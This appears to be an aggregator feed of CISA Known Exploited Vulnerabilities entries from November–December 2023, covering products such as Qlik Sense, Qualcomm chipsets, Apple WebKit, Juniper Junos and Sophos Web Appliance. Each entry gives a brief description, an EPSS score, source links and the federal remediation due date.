CISA added this entry on 2023-12-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 11, 2023; federal due date Dec 18, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qlik Sense Path Traversal Vulnerability
https://kevwire.com/record/CVE-2023-41266
Qlik Sense Path Traversal Vulnerability (Dec 7, 2023).
Qlik Sense contains a path traversal vulnerability that allows a remote, unauthenticated attacker to create an anonymous session by sending maliciously crafted HTTP requests. This anonymous session could allow the attacker to send further requests to unauthorized endpoints.
EPSS 84.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41266&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41266: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41266&date=2026-10-25
CISA added this entry on 2023-12-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 7, 2023; federal due date Dec 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qlik Sense HTTP Tunneling Vulnerability
https://kevwire.com/record/CVE-2023-41265
Qlik Sense HTTP Tunneling Vulnerability (Dec 7, 2023).
Qlik Sense contains an HTTP tunneling vulnerability that allows an attacker to escalate privileges and execute HTTP requests on the backend server hosting the software.
EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41265&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-41265: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41265&date=2026-10-25
CISA added this entry on 2023-12-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 7, 2023; federal due date Dec 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-33107
Qualcomm Multiple Chipsets Integer Overflow Vulnerability (Dec 5, 2023).
Multiple Qualcomm chipsets contain an integer overflow vulnerability due to memory corruption in Graphics Linux while assigning shared virtual memory region during IOCTL call.
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33107&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-33107: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33107&date=2026-10-25
CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 5, 2023; federal due date Dec 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Use of Out-of-Range Pointer Offset Vulnerability
https://kevwire.com/record/CVE-2023-33106
Qualcomm Multiple Chipsets Use of Out-of-Range Pointer Offset Vulnerability (Dec 5, 2023).
Multiple Qualcomm chipsets contain a use of out-of-range pointer offset vulnerability due to memory corruption in Graphics while submitting a large list of sync points in an AUX command to the IOCTL_KGSL_GPU_AUX_COMMAND.
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33106&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-33106: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33106&date=2026-10-25
CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 5, 2023; federal due date Dec 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2023-33063
Qualcomm Multiple Chipsets Use-After-Free Vulnerability (Dec 5, 2023).
Multiple Qualcomm chipsets contain a use-after-free vulnerability due to memory corruption in DSP Services during a remote call from HLOS to DSP.
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33063&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-33063: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33063&date=2026-10-25
CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 5, 2023; federal due date Dec 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2022-22071
Qualcomm Multiple Chipsets Use-After-Free Vulnerability (Dec 5, 2023).
Multiple Qualcomm chipsets contain a use-after-free vulnerability when process shell memory is freed using IOCTL munmap call and process initialization is in progress.
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22071&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22071: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22071&date=2026-10-25
CISA added this entry on 2023-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 5, 2023; federal due date Dec 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2023-42917
Apple Multiple Products WebKit Memory Corruption Vulnerability (Dec 4, 2023).
Apple iOS, iPadOS, macOS, and Safari WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 9.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-42917&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-42917: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-42917&date=2026-10-25
CISA added this entry on 2023-12-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 4, 2023; federal due date Dec 25, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2023-42916
Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability (Dec 4, 2023).
Apple iOS, iPadOS, macOS, and Safari WebKit contain an out-of-bounds read vulnerability that may disclose sensitive information when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 17.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-42916&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-42916: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-42916&date=2026-10-25
CISA added this entry on 2023-12-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 4, 2023; federal due date Dec 25, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Skia Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-6345
Google Skia Integer Overflow Vulnerability (Nov 30, 2023).
Google Chromium Skia contains an integer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a malicious file. This vulnerability affects Google Chrome and ChromeOS, Android, Flutter, and possibly other products.
EPSS 16.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-6345&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-6345: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-6345&date=2026-10-25
CISA added this entry on 2023-11-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 30, 2023; federal due date Dec 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ownCloud graphapi Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2023-49103
ownCloud graphapi Information Disclosure Vulnerability (Nov 30, 2023).
ownCloud graphapi contains an information disclosure vulnerability that can reveal sensitive data stored in phpinfo() via GetPhpInfo.php, including administrative credentials.
EPSS 77.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-49103&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-49103: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-49103&date=2026-10-25
CISA added this entry on 2023-11-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 30, 2023; federal due date Dec 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GNU C Library Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-4911
GNU C Library Buffer Overflow Vulnerability (Nov 21, 2023).
GNU C Library's dynamic loader ld.so contains a buffer overflow vulnerability when processing the GLIBC_TUNABLES environment variable, allowing a local attacker to execute code with elevated privileges.
EPSS 63.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4911&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-4911: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4911&date=2026-10-25
CISA added this entry on 2023-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 21, 2023; federal due date Dec 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2023-36584
Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability (Nov 16, 2023).
Microsoft Windows Mark of the Web (MOTW) contains a security feature bypass vulnerability resulting in a limited loss of integrity and availability of security features.
EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36584&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36584: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36584&date=2026-10-25
CISA added this entry on 2023-11-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 16, 2023; federal due date Dec 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sophos Web Appliance Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-1671
Sophos Web Appliance Command Injection Vulnerability (Nov 16, 2023).
Sophos Web Appliance contains a command injection vulnerability in the warn-proceed handler that allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-1671&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-1671: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-1671&date=2026-10-25
CISA added this entry on 2023-11-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 16, 2023; federal due date Dec 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Fusion Middleware Unspecified Vulnerability
https://kevwire.com/record/CVE-2020-2551
Oracle Fusion Middleware Unspecified Vulnerability (Nov 16, 2023).
Oracle Fusion Middleware contains an unspecified vulnerability in the WLS Core Components that allows an unauthenticated attacker with network access via IIOP to compromise the WebLogic Server.
EPSS 92.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2551&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-2551: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2551&date=2026-10-25
CISA added this entry on 2023-11-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 16, 2023; federal due date Dec 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-36033
Microsoft Windows Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability (Nov 14, 2023).
Microsoft Windows Desktop Window Manager (DWM) Core Library contains an unspecified vulnerability that allows for privilege escalation.
EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36033&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36033: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36033&date=2026-10-25
CISA added this entry on 2023-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 14, 2023; federal due date Dec 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows SmartScreen Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2023-36025
Microsoft Windows SmartScreen Security Feature Bypass Vulnerability (Nov 14, 2023).
Microsoft Windows SmartScreen contains a security feature bypass vulnerability that could allow an attacker to bypass Windows Defender SmartScreen checks and their associated prompts.
EPSS 88.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36025&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36025: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36025&date=2026-10-25
CISA added this entry on 2023-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 14, 2023; federal due date Dec 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Cloud Files Mini Filter Driver Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-36036
Microsoft Windows Cloud Files Mini Filter Driver Privilege Escalation Vulnerability (Nov 14, 2023).
Microsoft Windows Cloud Files Mini Filter Driver contains a privilege escalation vulnerability that could allow an attacker to gain SYSTEM privileges.
EPSS 16.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36036&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36036: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36036&date=2026-10-25
CISA added this entry on 2023-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 14, 2023; federal due date Dec 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SysAid Server Path Traversal Vulnerability
https://kevwire.com/record/CVE-2023-47246
SysAid Server Path Traversal Vulnerability (Nov 13, 2023).
SysAid Server (on-premises version) contains a path traversal vulnerability that leads to code execution.
EPSS 98.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-47246&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-47246: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-47246&date=2026-10-25
CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 13, 2023; federal due date Dec 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Juniper Junos OS EX Series PHP External Variable Modification Vulnerability
https://kevwire.com/record/CVE-2023-36844
Juniper Junos OS EX Series PHP External Variable Modification Vulnerability (Nov 13, 2023).
Juniper Junos OS on EX Series contains a PHP external variable modification vulnerability that allows an unauthenticated, network-based attacker to control certain, important environment variables. Using a crafted request an attacker is able to modify certain PHP environment variables, leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
EPSS 90.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36844&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36844: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36844&date=2026-10-25
CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability
https://kevwire.com/record/CVE-2023-36845
Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability (Nov 13, 2023).
Juniper Junos OS on EX Series and SRX Series contains a PHP external variable modification vulnerability that allows an unauthenticated, network-based attacker to control an important environment variable. Using a crafted request, which sets the variable PHPRC, an attacker is able to modify the PHP execution environment allowing the injection und execution of code.
EPSS 95.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36845&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36845: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36845&date=2026-10-25
CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2023-36846
Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability (Nov 13, 2023).
Juniper Junos OS on SRX Series contains a missing authentication for critical function vulnerability that allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request to user.php that doesn't require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.
EPSS 93.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36846&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36846: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36846&date=2026-10-25
CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Juniper Junos OS EX Series Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2023-36847
Juniper Junos OS EX Series Missing Authentication for Critical Function Vulnerability (Nov 13, 2023).
Juniper Junos OS on EX Series contains a missing authentication for critical function vulnerability that allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request to installAppPackage.php that doesn't require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.
EPSS 83.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36847&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36847: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36847&date=2026-10-25
CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2023-36851
Juniper Junos OS SRX Series Missing Authentication for Critical Function Vulnerability (Nov 13, 2023).
Juniper Junos OS on SRX Series contains a missing authentication for critical function vulnerability that allows an unauthenticated, network-based attacker to cause limited impact to the file system integrity. With a specific request to webauth_operation.php that doesn't require authentication, an attacker is able to upload arbitrary files via J-Web, leading to a loss of integrity for a certain part of the file system, which may allow chaining to other vulnerabilities.
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36851&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36851: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36851&date=2026-10-25
CISA added this entry on 2023-11-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 13, 2023; federal due date Nov 17, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Service Location Protocol (SLP) Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2023-29552
Service Location Protocol (SLP) Denial-of-Service Vulnerability (Nov 8, 2023).
The Service Location Protocol (SLP) contains a denial-of-service (DoS) vulnerability that could allow an unauthenticated, remote attacker to register services and use spoofed UDP traffic to conduct a denial-of-service (DoS) attack with a significant amplification factor.
EPSS 64.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29552&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-29552: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29552&date=2026-10-25
CISA added this entry on 2023-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or disable SLP service or port 427/UDP on all systems running on untrusted networks, including those directly connected to the Internet.
Kind: vulnerability; regions: Global; provenance: pipeline.
